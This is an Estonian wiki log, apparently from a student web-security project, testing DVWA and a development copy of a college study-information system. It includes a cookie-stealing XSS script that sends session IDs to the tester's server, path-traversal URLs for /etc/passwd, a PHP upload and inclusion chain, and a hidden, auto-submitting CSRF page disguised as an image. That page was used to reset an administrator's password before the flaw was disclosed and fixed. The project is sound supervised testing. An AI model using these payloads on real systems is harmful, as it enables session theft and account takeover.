Võtsime lehe Source Code lahti&lt;br /&gt;
Otsisime üles paroolide formi koodi üles ja kopeerisime selle enda veebilehele.&lt;br /&gt;
Muutsime ära action väärtuse, DVWA veebilehe omaks, kus muudetakse paroole.&lt;br /&gt;
Current Password lahtri jätsime samaks.&lt;br /&gt;
Ülejäänud kahe uue passwordi fieldi type&#039;iks määrasime &amp;quot;Hidden&amp;quot; ja value&#039;deks &amp;quot;admin&amp;quot;.&lt;br /&gt;
Salvestasime faili ja käivitasime selle.&lt;br /&gt;
Tuli ette ainult lahter Current Passwordi ja Submit nupuga.&lt;br /&gt;
Panime sisse tolle hetke parooli ning saatsime teele päringu ning saimegi DVWAlt vastuseks, et parool muudetud ehk parooliks sai hidden väljades määratud sõna &amp;quot;.&lt;br /&gt;
&lt;br /&gt;
Lõpptulemus: Kasutaja salajane ja ootamatu paroolivahetus sai ära täidetud.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
&lt;br /&gt;
Backtrack 5 R2 - parimate tööriistade ja meetodite uurimine et leida turvanõrkusi.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
==== Reflected Cross Site Scripting (XSS)  ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lehel on selline Form:&amp;lt;/li&amp;gt;&lt;br /&gt;
[[Image:Xsstesting.jpg|Location=&amp;quot;left&amp;quot;|Caption|]]&lt;br /&gt;
&amp;lt;br&amp;gt;Form väljastab : Hello „sisestatud nimi“&lt;br /&gt;
&amp;lt;li&amp;gt;Easy puhul:&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Saab sisestada textboxi skripti:&amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    alert(document.cookie.match(/PHPSESSID=[^;\]+/));&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Eelnev skript toob ekraanile lihtsalt hetke sessioni ID.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Kui sellist asja on võimalik sisestada siis saab juba sellise skripti teha mis saadab kasutaja mingile sinu enda leheküljele kuhu on taha lisatud Session ID: &amp;lt;/li&amp;gt;&lt;br /&gt;
    &amp;lt;script&amp;gt;&lt;br /&gt;
    this.document.location.href  = „http://127.0.0.1/varastatud_sess_id/ + document.cookie.match(/PHPSESSID=[^;\]+/);&lt;br /&gt;
    &amp;lt;/script&amp;gt;&lt;br /&gt;
    &amp;lt;li&amp;gt;Saab kohe enda veebiserveri logidest näha  Session ID’d. &lt;br /&gt;
&amp;lt;br&amp;gt;Näide logist:&amp;lt;/li&amp;gt;&lt;br /&gt;
    /var/log/apache2/access.log&lt;br /&gt;
    127.0.0.1 - - [27/Mar/2012:09:06:31 -0400] &amp;quot;GET /varastatud_sess_id/PHPSESSID=51dc79948ee4cd23e6f8160ef2b57945 HTTP/1.1&amp;quot; 404 404 &amp;quot;-&amp;quot;                  &amp;lt;br&amp;gt;  &amp;quot;Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.2.11) Gecko/20101013 Ubuntu/9.04 (jaunty) Firefox/3.6.11&amp;quot;&lt;br /&gt;
&amp;lt;li&amp;gt;Tuleb ründajal lisada endale uus cookie saabunud Session ID’ga ja peakski olema võimalik teise inimese sessioon üle võtta.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:DVWA_upload.png|150px|thumb|DVWA Upload]]&lt;br /&gt;
&lt;br /&gt;
SamuraiWTF kasutamine testimiseks: DVWA (Damn Vulnerable Web Application).&lt;br /&gt;
==== Faili üleslaadimine: madal tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Low -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab suvalisi faile: *.php, *.html, *.jpg, .htaccess&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.php faili saab kirjutada php koodi:&lt;br /&gt;
    &amp;lt;?php var_dump($_REQUEST, $_SERVER); ?&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.php faili asukohta veebilehitsejas http://dvwa/hackable/uploads/*.php käivitatakse skript ja tagastatakse kõik küsitav:&amp;lt;/li&amp;gt;&lt;br /&gt;
  esimeses massiivis &amp;quot;PHPSESSID&amp;quot; (&amp;quot;2b1ae19446cfde009664f18df51b6ec1&amp;quot;) ja turvatase &amp;quot;security&amp;quot; (&amp;quot;low&amp;quot;);&lt;br /&gt;
  teises &amp;quot;HTTP_COOKIE&amp;quot;, milles on eelnevadki andmed; asukoht &amp;quot;PATH&amp;quot;, &amp;quot;SERVER_SOFTWARE&amp;quot;, &amp;quot;SERVER_NAME&amp;quot;,&lt;br /&gt;
    &amp;quot;SERVER_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;SERVER_PORT&amp;quot; (&amp;quot;80&amp;quot;), &amp;quot;REMOTE_ADDR&amp;quot; (&amp;quot;127.42.84.1&amp;quot;), &amp;quot;REMOTE_PORT&amp;quot; (&amp;quot;53425&amp;quot;) jpm.&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: keskmine tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: Medium -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida ei saa näiteks järgnevates formaatides faile:&amp;lt;/li&amp;gt;&lt;br /&gt;
  .htaccess&lt;br /&gt;
  .php	.html	.pdf&lt;br /&gt;
  .gif	.png	.bmp&lt;br /&gt;
  .svg	.swf&lt;br /&gt;
  .tif	.tiff	.exif&lt;br /&gt;
  .raw	.cgm&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks tuleb kasutada &amp;quot;?page=&amp;quot; ja faili asukoht:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../hackable/uploads/*.jpg&lt;br /&gt;
Kuvatakse php skripti tulemus.&lt;br /&gt;
  Kommentaar: &amp;quot;?page=&amp;quot; kasutamine võetud menüüvalikust: &amp;lt;b&amp;gt;File Inclusion&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;quot;?page=&amp;quot; abil saab vaadata kasutajate nimesid:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/passwd&lt;br /&gt;
&amp;lt;li&amp;gt;Paroole vaadata ei saa, selleks õigused puuduvad:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://dvwa/vulnerabilities/fi/?page=../../../../../etc/shadow&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Faili üleslaadimine: kõrge tase ====&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;&amp;lt;b&amp;gt;DVWA Security&amp;lt;/b&amp;gt; määrata: High -&amp;gt; Submit&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Valida: Upload&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Üles laadida saab kõiki .jpg-lõpulisi faile (ka *.php.jpg, mitte *.jpg.php)&amp;lt;/li&amp;gt;&lt;br /&gt;
  Üleslaetavasse *.jpg faili saab kirjutada php koodi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Minnes üleslaetava *.jpg faili asukohta veebilehitsejas, ei käivitata skripti, vaid tagastatakse faili asukoha aadress.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Skripti käivitamiseks ei piisa ka &amp;quot;?page=&amp;quot; kasutamisest. Igal juhul on vastus selline:&amp;lt;/li&amp;gt;&lt;br /&gt;
  ERROR: File not found!&lt;br /&gt;
&amp;lt;li&amp;gt;Kasutada tuleks kuueteistkümnendkoodi, mille saab moodustada näiteks sellel aadressil:&amp;lt;/li&amp;gt;&lt;br /&gt;
  http://www.motobit.com/util/base64-decoder-encoder.asp&lt;br /&gt;
&amp;lt;li&amp;gt;Moodustades loodud faili asukohast kood ja kasutades&amp;lt;/li&amp;gt;&lt;br /&gt;
  data:php/html;base64,aHR0cDovL2R2d2EvaGFja2FibGUvdXBsb2Fkcy91cGxvYWQyLmpwZw==&lt;br /&gt;
üritatakse seda arvutisse salvestada. Salvestamisel .part-nimelise faili, on selle sisuks samuti lihtsalt faili asukoht veebis:&lt;br /&gt;
  http://dvwa/hackable/uploads/*.jpg&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== 3. päev ==&lt;br /&gt;
&lt;br /&gt;
=== Alo tegevus ===&lt;br /&gt;
Lihtsalt url modifitseerimisega leidsime mittekaitstud lingi:&lt;br /&gt;
&lt;br /&gt;
Õppesoorituste all on võimalik laadida alla kõikide kasutajate õpingukaardid (lihtsalt tuleb otsida üles soovitud kasutaja student_id)&lt;br /&gt;
Arvete alt peaks ka võimalik sama viga ära kasutada, aga kuna ühtegi arvet hetkel süsteemis polnud ei olnud võimalik seda viga kinnitada.&lt;br /&gt;
&lt;br /&gt;
=== Urmo tegevus ===&lt;br /&gt;
====Subgraph Vega ====&lt;br /&gt;
Subgraph Vega on beeta staadiumis olev vabavaraline veebiapplikatsioni nõrkuste skänner, proxy ja platvorm.&lt;br /&gt;
Selle tööriistaga annab välja otsida SQL injectionit võimaldavad kohad, Cross-Site-Scriptingut, URL injection jne võimaldavaid nõrkusi veebilehel.&lt;br /&gt;
Programm on Java põhine graafilise liidesega ja töötab Linux&#039;i, OS X ja Windowsi peal.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega1.png|200px|thumb|right|Subgraph Vega screenshot]]&lt;br /&gt;
Päeva alguses sai hakatud katsetama seda ÕISi arenduskeskkonna peal.&lt;br /&gt;
&lt;br /&gt;
Alustasime uut skänni (Start New Scan).&lt;br /&gt;
Küsitakse URI, milleks andsime https://itcollege.dev.ois.ee ja Next.&lt;br /&gt;
&lt;br /&gt;
Järgnevalt on vaja anda kätte sisselogitud kasutaja cookie ja vajadusel lisada kindlate linkide välistamise regullaar avaldised. &lt;br /&gt;
&lt;br /&gt;
Me lisasime ainult küpsise (cookie) sisu: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
itcollege_OIS_SESSION_ID=sellecookiesisu1234563221&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
ning Finish.&lt;br /&gt;
&lt;br /&gt;
[[File:Screenshot_vega2.png|200px|thumb|right|Subgraph Vega screenshot ühe leitud nõrkusega]]&lt;br /&gt;
Järgnevalt ta hakkab skännima ette antud veebilehte ja kui küpsise info ning aadress on õige, siis ta suudab sisselogimisest mööda saada ilusti ja saab uurima hakata, kus võimalikud vead võivad olla. Tegutsemine võttis suhteliselt kaua aega (u. 30minutit).&lt;br /&gt;
&lt;br /&gt;
Katkestasime skännimise ära, kui ta oli umbes 15000 objektist ära skänninud umbes 12000. &lt;br /&gt;
&lt;br /&gt;
Selleks ajaks oli Vega leidnud kõrgema tasemega Cross Site Script&#039;ingu nõrkusi 58, keskmise tasemega Absolute Path nõrkusi 2, ja lihtsalt informatsiooniks 6 tühja element Body  nõrkust.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Uurides leitud Cross Site Scriptingu leitud nõrkusi, saime aru, et tegu on selliste aadressitega, milles veebilehed kasutavad aadressirealt saadud ID&#039;sid ja parameetreid ära oma pealkirjades.&lt;br /&gt;
Õnneks parameetritega väljad olid veebilehel korralikult ära escape&#039;itud ja saniteeritud, et suhteliselt võimatu oli saada mõnda scripti sinna sisse panna, et veebileht midagi teistmoodi teeks.&lt;br /&gt;
&lt;br /&gt;
ID väljade osas aga ei olnud kaitstud üks link, mille avastas Alo ennem mind.&lt;br /&gt;
&lt;br /&gt;
==== Wapiti ====&lt;br /&gt;
Proovisime ära ka Backtrack 5 R2 tööriista Wapiti. &lt;br /&gt;
(Koduleht: http://wapiti.sourceforge.net/)&lt;br /&gt;
&lt;br /&gt;
Kahjuks ei saanud seda tööriista kasutada dev-ÕISi pihta, kuna see tööriist ei osanud HTTPS&#039;iga midagi teha.&lt;br /&gt;
&lt;br /&gt;
==== CSRF käsitsi rünne HTML/PHP/JAVASCRIPTiga====&lt;br /&gt;
=====1. katse - ÕISi keskkkonna keelevahetus =====&lt;br /&gt;
[[File:Keeleseaded.png|thumb|200px|right|ÕISi keeleseadete menüü]]&lt;br /&gt;
&lt;br /&gt;
Päeva esimeses pooles sai avastatud, et dev-ÕISi kasutaja keskkonna keelt saab muuta, kui mõnelt väliselt veebilehelt saata vastav POST päring lingile, mis muudab keelte seadistust.&lt;br /&gt;
&lt;br /&gt;
Võtsime dev-ÕIS&#039;i Source Code&#039;ist välja vastava formi osa ja panime eraldi html faili.&lt;br /&gt;
Koristasime mittevajaliku disaini koodi juurest ära.&lt;br /&gt;
Muutsime form&#039;i action väärtust pannes olemasoleva ette https://itcollege.dev.ois.ee/ osa ehk oleks absoluutne aadress relatiivse asemel.&lt;br /&gt;
Teises fieldis, kus oli vaja määrata keele tähistus, mida saadetaks, panime väärtuseks &amp;quot;en&amp;quot; ehk inglise keelne keskkond tekiks.&lt;br /&gt;
Panime koodi enose veebiserverisse üles nimega ois.html.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;form id=&amp;quot;settingsForm&amp;quot; method=&amp;quot;post&amp;quot; action=&amp;quot;https://itcollege.dev.ois.ee/setting/edit?user_id=2198&amp;quot; &lt;br /&gt;
enctype=&amp;quot;application/x-www-form-urlencoded&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;input type=&amp;quot;hidden&amp;quot; AUTOCOMPLETE=&amp;quot;off&amp;quot; name=&amp;quot;default_language&amp;quot;value=&amp;quot;en&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;br&amp;gt;&lt;br /&gt;
  &amp;lt;input type=&amp;quot;submit&amp;quot; value=&amp;quot;Salvesta seaded&amp;quot; name=&amp;quot;Savesettings&amp;quot;&amp;gt;&lt;br /&gt;
    &amp;lt;/form&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Panime faili enda arvutis käima, tekkis vastav form ette, kus submit pannes päring jõudis õisi ja muudeti kogeselt ära keskkonna kasutaja keel.&lt;br /&gt;
&lt;br /&gt;
Katsetas koodi enda konto peal Taavi.&lt;br /&gt;
&lt;br /&gt;
=====2. katse - ÕIS&#039;i kasutaja parooli muutmine =====&lt;br /&gt;
&lt;br /&gt;
[[File:Salasona_ois.PNG|200px|thumb|right|Dev_OIS salasõna muutmisvorm]]&lt;br /&gt;
Otsustasime proovida, kas CSRF nõrkust annaks ära kasutada ka ÕISi administraatori pettes, kui saata talle pildi link, kus tegelikult taga jookseb HTML/JAVASCRIPT koos, mis saadab POST päringu salasõna muutmisega. Selle toimiseks oli eelduseks see, et rünnatav on ründamise hetkel juba dev-ÕISi sisselogitud.&lt;br /&gt;
&lt;br /&gt;
Selle jaoks uurisime välja, kus asub dev-ÕIS&#039;i kasutaja salasõna muutmise vorm ja kuhu saadetakse vormi sisu.&lt;br /&gt;
Vormilt võtsime lähtekoodist (Source Code) vastava koodi välja ja panime eraldi php faili.&lt;br /&gt;
&lt;br /&gt;
Muutsime password ja password_check lahtrite väärtused järgnevaks: &amp;quot;test123&amp;quot; ehk kasutaja uus parool peale rünnakut.&lt;br /&gt;
&lt;br /&gt;
Lahtrites muutsime user_id&#039;d sisaldavad väärtused rünnatava kasutaja user_id vastu, mille saab kätte tudengite/vilistlaste/õppejõudude piltide aadressidelt kätte.&lt;br /&gt;
&lt;br /&gt;
Kõik vormi lahtrite tüübid määrasime peidetud ehk &amp;quot;hidden&amp;quot;, et poleks midagi näidata. &lt;br /&gt;
&lt;br /&gt;
Kuna parooli muutmise formil on küljes ka continue parameeter, mis näitab seda, kuhu kasutaja viiakse peale parooli muutmist. &lt;br /&gt;
Selle muutsime väljalogimise lingiks, et peale POST päringu tegemist suunatakse kasutaja väljalogimise lehele.&lt;br /&gt;
Sellisel juhul ei tule ette teadet, et parooli just muudeti kuskil ja kasutaja enam ei saa oma vana parooliga sisse logida.&lt;br /&gt;
&lt;br /&gt;
Lisasime CSS koodi Submit nupu ära peitmiseks. &lt;br /&gt;
JavaScript koodi, et kui leht on laetud, siis automaatselt vajutataks seda nähtamatut Submit nuppu, et brauser saadaks HTML POST päringu ÕISi poole teele.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Salvestasime faili ära kui &amp;quot;screen1.jpg&amp;quot; fail. Ohver arvab, et tegu on pildiga, kui saadame lingi ja seda veel usaldusväärse aadressi pealt.&lt;br /&gt;
Tegelikult kasutaja ei näe praegu ühtegi pilti ja suunatakse edasi.&lt;br /&gt;
&lt;br /&gt;
Faili sisu:&lt;br /&gt;
&amp;lt;source lang=&amp;quot;html4strict&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
 &amp;lt;head&amp;gt;&lt;br /&gt;
  &amp;lt;style type=&amp;quot;text/css&amp;quot;&amp;gt;&lt;br /&gt;
	  #Setpassword{ width: 0px; height: 0px; border: none; padding: 0; margin: 0; }&lt;br /&gt;
  &amp;lt;/style&amp;gt;&lt;br /&gt;
 &amp;lt;/head&amp;gt;&lt;br /&gt;
 &amp;lt;body&amp;gt;&lt;br /&gt;
  &amp;lt;body onload=&amp;quot;document.forms.setPasswordForm.submit();&amp;quot;&amp;gt;&lt;br /&gt;
  &amp;lt;form name=&amp;quot;setPasswordForm&amp;quot; id=&amp;quot;setPasswordForm&amp;quot; &lt;br /&gt;
  action=&amp;quot;https://itcollegedev.ois.ee/et/user/set-own-password?user_id=2227&amp;amp;amp;continue=/auth/logout&amp;quot;  &lt;br /&gt;
  method=&amp;quot;post&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;user_id&amp;quot; value=&amp;quot;2227&amp;quot; id=&amp;quot;user_id&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;continue&amp;quot; value=&amp;quot;%2Fet%2Fsetting%3Fuser_id%3D2227&amp;quot; id=&amp;quot;continue&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password&amp;quot; id=&amp;quot;password&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;hidden&amp;quot; name=&amp;quot;password_check&amp;quot; id=&amp;quot;password_check&amp;quot; value=&amp;quot;test123&amp;quot; /&amp;gt;&lt;br /&gt;
   &amp;lt;input type=&amp;quot;submit&amp;quot; name=&amp;quot;Setpassword&amp;quot; id=&amp;quot;Setpassword&amp;quot; value=&amp;quot;Muuda salasõna&amp;quot; /&amp;gt;&lt;br /&gt;
  &amp;lt;/form&amp;gt;&lt;br /&gt;
 &amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:Admin_proof.PNG|200px|thumb|right|Ligisaadud adminpaneelile]]&lt;br /&gt;
&lt;br /&gt;
Tegime uue faili htaccess.txt, kuhu panime kirja käsu, mis käivitaks php ja jpg faile kui php failidena.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
AddType application/x-httpd-php .php .jpg&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Laadisime mõlemad failid Enose veebiserverisse avalikult. &lt;br /&gt;
&lt;br /&gt;
Tegime enda kontode peal katsed, et kõik toimiks nii nagu vaja ja ega probleeme ei teki. &lt;br /&gt;
Peale seda juhendaja Mart Manguse abiga saime ÕISi adminnile Valter Kunglale väikese test-rünnaku teha.&lt;br /&gt;
Mart Mangus üritas seletada, et hinnetelehel on midagi viga ja palus, et Valter vaataks asja üle. &lt;br /&gt;
Sellega saavutasime selle, et Valter logis dev-ÕISi sisse oma kontoga.&lt;br /&gt;
Valter ütles, et ta ei näe midagi viltu ja selle peale saatsime talle nii nimetatud screenshoti, mille taga oli tegelt meie koodiga screen1.jpg fail. &lt;br /&gt;
Kui see fail käivitati, siis Valter Kungla parool muudeti ära ja logiti süsteemist välja. &lt;br /&gt;
Tol hetkel, täpselt ennem väljalogimist ja ümbersuunamist, muutus tema parool meie pantud &amp;quot;test123&amp;quot;-ks ja me saime ligipääsu administraatori õigustes kontole. &lt;br /&gt;
Rünnak oli edukas.&lt;br /&gt;
[[File:Pass fixed.PNG|200px|thumb|right|Dev_OIS fixed]]&lt;br /&gt;
&lt;br /&gt;
Andsime teada Valterile teada, et tegelikult tegime salajase ründe. &lt;br /&gt;
Suhteliselt koheselt oli Valteril see CSRF ründe vastu dev-ÕIS ära parandatud, kuna tal oli juba koodiparandus olemas aga lihtsalt rakendamata ja me tabasime ajaliselt viimase hetke ära, kus seda rünnet sai teha. &lt;br /&gt;
Peale parandust enam see rünne läbi ei läinud ja süsteem hõiskab vastu, et tegu on ründe või mõne bug&#039;iga.&lt;br /&gt;
&lt;br /&gt;
Kuna tegu oli ÕIS&#039;i arendusversiooniga, siis oli serveris oli lubatud ka error_reporting, mis annab välja ka pildil oleva errorite jada.&lt;br /&gt;
Error Reporting on maha keeratud Live keskkonnas ja seal sellist pikka keerulist koodijada veateadetega ette ei tule ning saadetakse teade arendajatele automaatselt.&lt;br /&gt;
&lt;br /&gt;
=== Taavi tegevus ===&lt;br /&gt;
===Burp suite===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Esimese asjane peale Burp suite käivitamist. Tabilt proxy  -&amp;gt;intercept -&amp;gt;intercept off&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt seadistada proxy enda veebiprauserist (mõistlik panna localhost aadress 127.0.0.1 port 8080 ning lülitada sisse ka ssl proxy)&amp;lt;br&amp;gt;&lt;br /&gt;
Proxy  -&amp;gt; options alt lülitada sisse proxy listner pordile 8080 .&amp;lt;br&amp;gt;&lt;br /&gt;
Ohvri valimine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida intruder -&amp;gt; target ning sinna sisestada veebileht mida on plaanis uurida https lehe korral lülitada sisse ssl ning pordiks valida 443.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui on tarvis lehte ka sisse logituna uurida siis tuleb seadistada järgmised parameetrid.&amp;lt;br&amp;gt;&lt;br /&gt;
Valida Options tab sealt sisse lülitada www authentication ning täita all olevad read.&amp;lt;br&amp;gt;site mida rünnatakse tema tüüp(üldiselt basic), login, parool ning valida add.&lt;br /&gt;
Kui on soov sooritada veebilehe sipderingi siis tuleb excludida ka logout käsud.&amp;lt;br&amp;gt;&lt;br /&gt;
Targer-&amp;gt;scope -&amp;gt; exclude  frome scope ja veenduda at välja on arvatud logout laused.&amp;lt;br&amp;gt;&lt;br /&gt;
Spideringi sisselülitamine &amp;lt;br&amp;gt;&lt;br /&gt;
Valida tab Spide ning sealt panna linnuke kasti spider running.&amp;lt;br&amp;gt;&lt;br /&gt;
Ning oledki valmis saama laheküljelt infot.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriistal on veel tohutu hulk seadistus võimalusi, aga kahjuks ajanappuse tõttu ei jõudnud nende kõikidega tutvuda.&amp;lt;br&amp;gt;&lt;br /&gt;
Tööriis ei ole mõeldud algajatele, kuid teda tundma õppides on võimailik sooritada keerukaid operatsioone. Suurim nõrkus sellel programmil on see, et ta otsing ei näita ära nõrkasid kohti veebilehel vaid need tuleb ise koodist ülesse otsida.&lt;br /&gt;
&lt;br /&gt;
==Nessuse algkäivitamine==&lt;br /&gt;
Valida backtrackist  vulnerability scannerite alt nessus ning edasi nessus register .&amp;lt;br&amp;gt; Täite ära vajalikud read veebilehel ning mailile saadetakse aktiveerimis kood.&amp;lt;br&amp;gt; Järgnevalt avada termnal ning sisestada käsk : /opt/nessus/bin/nessus –fetch –register **********(tärnide asemele meilile saadetud kood)&amp;lt;br&amp;gt;&lt;br /&gt;
Nüüd läheb aega kuni nessus updatedakse (ole valmis ootama võtab tükk aega.)&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt käivitada nessus user add ning sinna sisestada soovitav kasutajanimi nessusele, kui küsitakse kas admin konto siis sisestada y. Kõik on korras kui tuleb ette kiri user added.&amp;lt;br&amp;gt;&lt;br /&gt;
Järgnevalt valida nessus start.&amp;lt;br&amp;gt;&lt;br /&gt;
Et nessusesse siseneda veebibrauseri URL i kirjutada 127.0.0.1:8834 &lt;br /&gt;
Siis avaneb leht kus tuleb vajutada lehe alaosas olevale lingile mis suunab https leheküljele.&amp;lt;br&amp;gt;&lt;br /&gt;
Antud tööriist ei ole just kõige sobilikum veebilehtede testimiseks.&lt;br /&gt;
&lt;br /&gt;
=== Matise tegevus ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Sanderi tegevus ===&lt;br /&gt;
[[File:W3af skanner.png|150px|thumb|w3af skänni seaded]]&lt;br /&gt;
Backtarcki keskkonnas sai testitud programmi w3af.&lt;br /&gt;
&lt;br /&gt;
==== Backtrack: w3af ====&lt;br /&gt;
[[File:Basic HTTP Auth.png|150px|thumb|w3af Basic HTTP Auth]]&lt;br /&gt;
[[File:ÕISi küpsis.png|150px|thumb|Mozilla Firefox küpsis]]&lt;br /&gt;
[[File:W3af_Cookie.png|150px|thumb|w3af Cookie]]&lt;br /&gt;
Võimalik kätte saada SSL Certificate.&lt;br /&gt;
Aadressiribalt leitud sisselogimis-aadressiga sisse logimine ei õnnestunud:&lt;br /&gt;
  https://itcollege.dev.ois.ee/auth/login?continue=/auth/login?&lt;br /&gt;
  username=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&amp;amp;continue=&amp;amp;Login=Logi sisse&amp;amp;pw=&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
Programmi sisestatud andmetega ka mitte:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Basic HTTP Authentication:&lt;br /&gt;
    basicAuthUser: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;KASUTAJANIMI&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthPass: &amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;PAROOL&amp;lt;/font&amp;gt;&lt;br /&gt;
    basicAuthDomain: http://itcollege.dev.ois.ee&lt;br /&gt;
Mozilla Firefoxi küpsis õnnestus luua Töölauale hetkel sisse logitud sessiooni ID-ga. Programmi küpsise sisestamine:&lt;br /&gt;
  Configuration -&amp;gt; HTTP Config -&amp;gt; Cookies&lt;br /&gt;
    cookieJarFile: /root/Desktop/&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;ois_cookie.txt&amp;lt;/font&amp;gt;&lt;br /&gt;
Seda loodud sessiooni ID-ga küpsist kasutada algul ei õnnestunud. Ilmselt oli midagi valesti. Õige on:&lt;br /&gt;
  # Netscape HTTP Cookie File&lt;br /&gt;
  .dev.ois.ee	TRUE	/	FALSE	1731510001	itcollege_OIS_SESSION_ID	&amp;lt;font color=&amp;quot;red&amp;quot;&amp;gt;870aqllryuw3cmf6cv8ellha03&amp;lt;/font&amp;gt;&lt;br /&gt;
Esimene rida on nõutav! Teiste tähendused:&lt;br /&gt;
  domain - The domain that created and that can read the variable.&lt;br /&gt;
  flag - A TRUE/FALSE value indicating if all machines within a given domain can access the variable.&lt;br /&gt;
    This value is set automatically by the browser, depending on the value you set for domain.&lt;br /&gt;
  path - The path within the domain that the variable is valid for.&lt;br /&gt;
  secure - A TRUE/FALSE value indicating if a secure connection with the domain is needed to access the variable.&lt;br /&gt;
  expiration - The UNIX time that the variable will expire on.&lt;br /&gt;
  name - The name of the variable.&lt;br /&gt;
  value - The value of the variable.&lt;br /&gt;
